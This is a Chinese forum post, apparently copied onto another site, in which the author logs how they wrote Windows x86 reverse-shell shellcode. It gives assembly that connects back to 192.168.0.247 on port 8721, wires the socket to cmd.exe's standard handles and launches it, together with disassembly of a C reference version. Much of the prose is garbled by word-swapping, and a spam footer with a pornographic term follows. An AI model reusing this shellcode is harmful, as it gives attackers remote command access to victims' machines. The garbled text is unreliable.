发布日期:2024-09-27 22:25 点击次数:154
LConnnect: push 0xF700A8C0 ; host: 192.168.0.247 6401A8C0 push 0x11220002 ; port: 8721 mov ecx, esp push byte 0x10 push ecx push ebx call [ebp + 16] //connect test eax, eax jne short LFinished无法得回解答,网上也莫得任何细节上的问题,还好腹地有一份用C谈话已矣的代码, 在vc6中进行反汇编调试,截取相干细节
85: if(0 != connect(locals, (struct sockaddr*)&s_sin, sizeof(s_sin))) 00401AB7 mov esi,esp 00401AB9 push 10h 00401ABB push offset s_sin (0047cdf0) 00401AC0 mov eax,[locals (0047ce5c)] 00401AC5 push eax 00401AC6 call dword ptr [__imp__connect@12 (0047f374)] 00401ACC cmp esi,esp 00401ACE call __chkesp (00420c40) 00401AD3 test eax,eax 00401AD5 je getshell+12Bh (00401aeb) push offset s_sin (0047cdf0)中保存了 端口和反连IP 0047CDF0 02 00 22 11 C0 A8 01 03 ..".括.. 0047CDF8 00 00 00 00 00 00 00 00 ........ mov eax,[locals (0047ce5c)] 保存socket的句柄在windbg中进行调试发现, push 0xF700A8C0 ; host: 192.168.0.247 6401A8C0 push 0x11220002 ; port: 8721 mov ecx, esp 经由是 压入反连IP和端口,mov ecx,esp这句是把端口和IP赋给ecx,并不才面的代码中压入堆栈,行为connect的参数。 还犯了一次把192和168的位置弄反的初级诞妄,最终得以使connect的复返值为正确的0x0。 0x2 接下来是对CreateprocessA的参数进行处理,主要牵连到两个结构&si及&pi,不知说念在汇编中怎么已矣这两个结构, 参考代码看的不是很懂,只可拿现成的代码进行反汇编,相干代码如下: 124: CreateProcess(NULL, "cmd.exe", NULL, NULL, 1, NULL, NULL, NULL, &si, &pi);
00401CB3 mov esi,esp 00401CB5 push offset pi (0047ce08) //压入&pi 00401CBA push offset si (0047ce18) //压入&si 00401CBF push 0 00401CC1 push 0 00401CC3 push 0 00401CC5 push 1 00401CC7 push 0 00401CC9 push 0 00401CCB push offset string "cmd.exe" (0046f178) 00401CD0 push 0 00401CD2 call dword ptr [__imp__CreateProcessA@40 (0047f200)] 0047CDF8 00 00 00 00 00 00 00 00 ........ //&pi 0047CE00 00 00 00 00 00 00 00 00 ........ 0047CE08 00 00 00 00 00 00 00 00 ........ 0047CE10 00 00 00 00 00 00 00 00 ........ 0047CE18 44 00 00 00 00 00 00 00 D.......//&si 0047CE20 00 00 00 00 00 00 00 00 ........ 0047CE28 00 00 00 00 00 00 00 00 ........ 0047CE30 00 00 00 00 00 00 00 00 ........ 0047CE38 00 00 00 00 00 00 00 00 ........ 0047CE40 00 00 00 00 00 01 00 00 ........ 0047CE48 00 00 00 00 00 00 00 00 ........ 0047CE50 A0 07 00 00 A0 07 00 00 ........ 0047CE58 A0 07 00 00 A0 07 00 00 ........不雅察其内存数据,&pi是4段为0x0的数据,况且其地址齐是连气儿的,自后跟的是&si &si的结构比较复杂,第一项的值为0x44 ,第十二项为0x100,临了三项为socket的句柄,其余项齐为0, 况且其内存也齐是连气儿的,这就比较好办些。 以下是已矣代码,跟参考代码有部分鉴别
xchg ebx, eax ; ebx = socket 句柄 mov ebx,eax //这段代码是无须的 push 646D63h ; "cmd" lea edx, [esp] //把"cmd"赋给edx sub esp, 54h mov edi, esp //mov dword ptr[edi],0x0 push 14h pop ecx //14h赋给ecx xor eax, eax stack_zero: mov [edi+ecx*4], eax //这段代码对edi的ecx*4的鸿沟内赋值0,即运调遣0 loop stack_zero /*以下代码构造&pi及si*/ mov byte ptr [edi+10h], 44h ; si.cb = sizeof(si) inc byte ptr [edi+3Ch] ; si.dwFlags = 0x100 inc byte ptr [edi+3Dh] ; dwFlags mov [edi+48h], ebx ; si.hStdInput = socket mov [edi+4Ch], ebx ; hStdOutput = socket mov [edi+50h], ebx ; hStdError = socket lea eax, dword ptr [edi+10h] push edi //&pi push eax //0x44 &si push ecx push ecx push ecx push 1 push ecx push ecx push edx ; "cmd" push ecx call dword ptr [esi+0x4]到这里反连ShellCode 就完成了 0x4 回首 由于回首对socket编程一知半解,是以对ShellCode的编写也无法作念到交融交融, 对数据结构少许也莫得搏斗,看来还需要加强在编程方面的基础 以上记载对大牛来说来说便是纯粹的不成再纯粹的事情,我等小菜叶仅仅纯粹记载下分享给像我相同 对编写ShellCode不懂的手足。 参考代码.rar
[培训]内核驱动高等班日本萝莉 porn,冲击BAT一流互联网大厂使命,每周日13:00-18:00直播讲课
上传的附件: 参考代码.rar (312.69kb,66次下载)